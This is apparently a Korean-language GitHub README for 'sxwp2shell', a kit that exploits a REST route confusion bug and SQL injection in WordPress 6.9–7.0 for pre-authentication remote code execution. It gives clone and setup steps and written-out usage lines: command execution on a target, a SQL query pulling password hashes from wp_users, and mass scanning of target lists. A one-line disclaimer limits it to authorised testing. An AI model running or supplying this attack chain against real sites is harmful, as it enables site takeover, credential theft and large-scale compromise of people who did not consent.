sentinelxofficial/sxwp2shellWordPress wp2shell 사전 인증 RCE 익스플로잇 키트 (CVE-2026-63030 + CVE-2026-60137)
/ / ____ / /()___ ___ / / | |/ / __ / _ / __ / / / __ / _ / / | / / / __/ / / / // / / / / / // | /_/_// //_/// //_/__//|_|
sxwp2shell — REST API 배치 라우트 혼동(CVE-2026-63030) + SQL 인젝션(CVE-2026-60137)을 악용한 WordPress 사전 인증 RCE 익스플로잇.
영향받는 버전: WP 6.9.0–6.9.4 / 7.0.0–7.0.1
git clone https://github.com/SentinelXofficial/sxwp2shell
cd sxwp2shell
chmod +x sxwp2shell.py
Python 3.7+ 호환, 표준 라이브러리만 사용 — pip 설치 불필요.
| 명령어 | 기능 |
|---|---|
check <url> | 버전, 배치 엔드포인트, 라우트 혼동 및 SQLi 탐지 |
exploit <url> | 전체 RCE 체인 (SQLi → 관리자 생성 → 셸) |
read <url> | 블라인드 SQLi 데이터 추출 |
scan <file> | 파일에서 대량 스캔 대상 읽기, CSV 내보내기 |
python3 sxwp2shell.py check https://target.com
python3 sxwp2shell.py exploit https://target.com --cmd id
python3 sxwp2shell.py read https://target.com --query "SELECT user_pass FROM wp_users"
python3 sxwp2shell.py scan targets.txt -o results.csv
--cmd CMD Command to execute (default: id)
--query QUERY Custom SQL query
-k, --insecure Skip SSL verification
--proxy PROXY HTTP proxy
--timeout SEC Request timeout (default: 15)
--delay SEC Delay between requests
--agent AGENT Custom User-Agent
--no-color Disable colored output
-o, --output Save scan results to CSV
승인된 보안 테스트에만 사용하십시오. DISCLAIMER.md를 읽으십시오.